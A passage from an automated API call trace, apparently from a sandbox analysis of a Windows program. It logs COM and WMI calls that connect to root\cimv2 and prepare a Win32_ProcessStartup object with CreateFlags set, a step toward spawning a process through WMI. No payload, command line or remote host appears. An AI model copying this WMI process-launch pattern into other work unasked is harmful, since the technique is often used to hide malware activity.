pszText=0x0) returned 0x0 [0105.866] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.866] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0105.866] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0105.866] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0105.866] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.867] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b45d470) returned 0x0 [0105.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d470, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0105.867] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45d470, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b45d490) returned 0x0 [0105.867] WbemLocator:IUnknown:Release (This=0x1b45d470) returned 0x0 [0105.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b45d490) returned 0x0 [0105.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0105.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0105.868] WbemLocator:IUnknown:AddRef (This=0x1b45d490) returned 0x3 [0105.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0105.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0105.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0105.868] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0105.869] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0105.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0105.869] WbemLocator:IUnknown:Release (This=0x1b45d490) returned 0x2 [0105.869] WbemLocator:IUnknown:Release (This=0x1b45d490) returned 0x1 [0105.869] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0105.869] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0105.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d490, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b45d490) returned 0x0 [0105.869] WbemLocator:IUnknown:AddRef (This=0x1b45d490) returned 0x3 [0105.869] WbemLocator:IUnknown:Release (This=0x1b45d490) returned 0x2 [0105.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0105.869] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0105.869] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.870] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b45d5b0) returned 0x0 [0105.870] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45d5b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x59dd00) returned 0x0 [0106.205] WbemLocator:IUnknown:QueryInterface (in: This=0x59dd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b482730) returned 0x0 [0106.205] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b482730, pProxy=0x59dd00, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0106.205] WbemLocator:IUnknown:Release (This=0x1b482730) returned 0x1 [0106.205] WbemLocator:IUnknown:QueryInterface (in: This=0x59dd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b482778) returned 0x0 [0106.205] WbemLocator:IUnknown:QueryInterface (in: This=0x59dd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b482730) returned 0x0 [0106.205] WbemLocator:IClientSecurity:SetBlanket (This=0x1b482730, pProxy=0x59dd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0106.205] WbemLocator:IUnknown:Release (This=0x1b482730) returned 0x2 [0106.205] WbemLocator:IUnknown:Release (This=0x1b482778) returned 0x1 [0106.205] CoTaskMemFree (pv=0x1b460bf0) [0106.206] WbemLocator:IUnknown:Release (This=0x1b45d5b0) returned 0x0 [0106.206] WbemLocator:IUnknown:QueryInterface (in: This=0x59dd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b482778) returned 0x0 [0106.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0106.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0106.265] WbemLocator:IUnknown:QueryInterface (in: This=0x59dd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0106.462] WbemLocator:IUnknown:AddRef (This=0x1b482778) returned 0x3 [0106.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0106.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0106.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b482658) returned 0x0 [0106.462] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b482658, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.462] WbemLocator:IUnknown:Release (This=0x1b482658) returned 0x3 [0106.462] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0106.462] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0106.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b482740) returned 0x0 [0106.462] WbemLocator:IRpcOptions:Query (in: This=0x1b482740, pPrx=0x1b482778, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0106.462] WbemLocator:IUnknown:Release (This=0x1b482740) returned 0x3 [0106.462] WbemLocator:IUnknown:Release (This=0x1b482778) returned 0x2 [0106.463] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0106.463] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0106.463] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x59dd00) returned 0x0 [0106.463] WbemLocator:IUnknown:AddRef (This=0x59dd00) returned 0x4 [0106.463] WbemLocator:IUnknown:Release (This=0x59dd00) returned 0x3 [0106.463] WbemLocator:IUnknown:Release (This=0x59dd00) returned 0x2 [0106.463] SysStringLen (param_1=0x0) returned 0x0 [0106.463] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0106.463] WbemLocator:IUnknown:AddRef (This=0x1b482778) returned 0x3 [0106.463] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482778, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b482778) returned 0x0 [0106.463] WbemLocator:IUnknown:Release (This=0x1b482778) returned 0x3 [0106.463] WbemLocator:IUnknown:Release (This=0x1b482778) returned 0x2 [0106.463] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0106.463] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0106.463] IWbemServices:GetObject (in: This=0x59dd00, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b483790, ppCallResult=0x0) returned 0x0 [0106.486] IWbemClassObject:Get (in: This=0x1b483790, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0106.486] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0106.486] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0106.486] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0106.486] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0106.486] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0106.486] IUnknown:Release (This=0x6124e8) returned 0x1 [0106.487] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b45dab0) returned 0x0 [0106.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45dab0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0106.487] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45dab0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x6570b0) returned 0x0 [0106.487] WbemDefPath:IUnknown:Release (This=0x1b45dab0) returned 0x0 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x6570b0) returned 0x0 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0106.488] WbemDefPath:IUnknown:AddRef (This=0x6570b0) returned 0x3 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b45d350) returned 0x0 [0106.488] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d350, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.488] WbemDefPath:IUnknown:Release (This=0x1b45d350) returned 0x3 [0106.488] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0106.488] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0106.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0106.488] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x2 [0106.488] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x1 [0106.489] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0106.489] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0106.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x6570b0) returned 0x0 [0106.489] WbemDefPath:IUnknown:AddRef (This=0x6570b0) returned 0x3 [0106.489] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x2 [0106.489] WbemDefPath:IWbemPath:SetText (This=0x6570b0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0106.489] IWbemClassObject:Get (in: This=0x1b483790, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa4e80*=0, plFlavor=0x2aa4e84*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa4e80*=19, plFlavor=0x2aa4e84*=0) returned 0x0 [0106.489] IWbemClassObject:Get (in: This=0x1b483790, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa4e80*=19, plFlavor=0x2aa4e84*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa4e80*=19, plFlavor=0x2aa4e84*=0) returned 0x0 [0106.489] IWbemClassObject:Put (This=0x1b483790, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0106.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6558b0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0106.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0106.489] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0106.489] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0106.490] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0106.490] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0106.490] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0106.490] IUnknown:Release (This=0x6124e8) returned 0x1 [0106.490] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b48b1b0) returned 0x0 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, 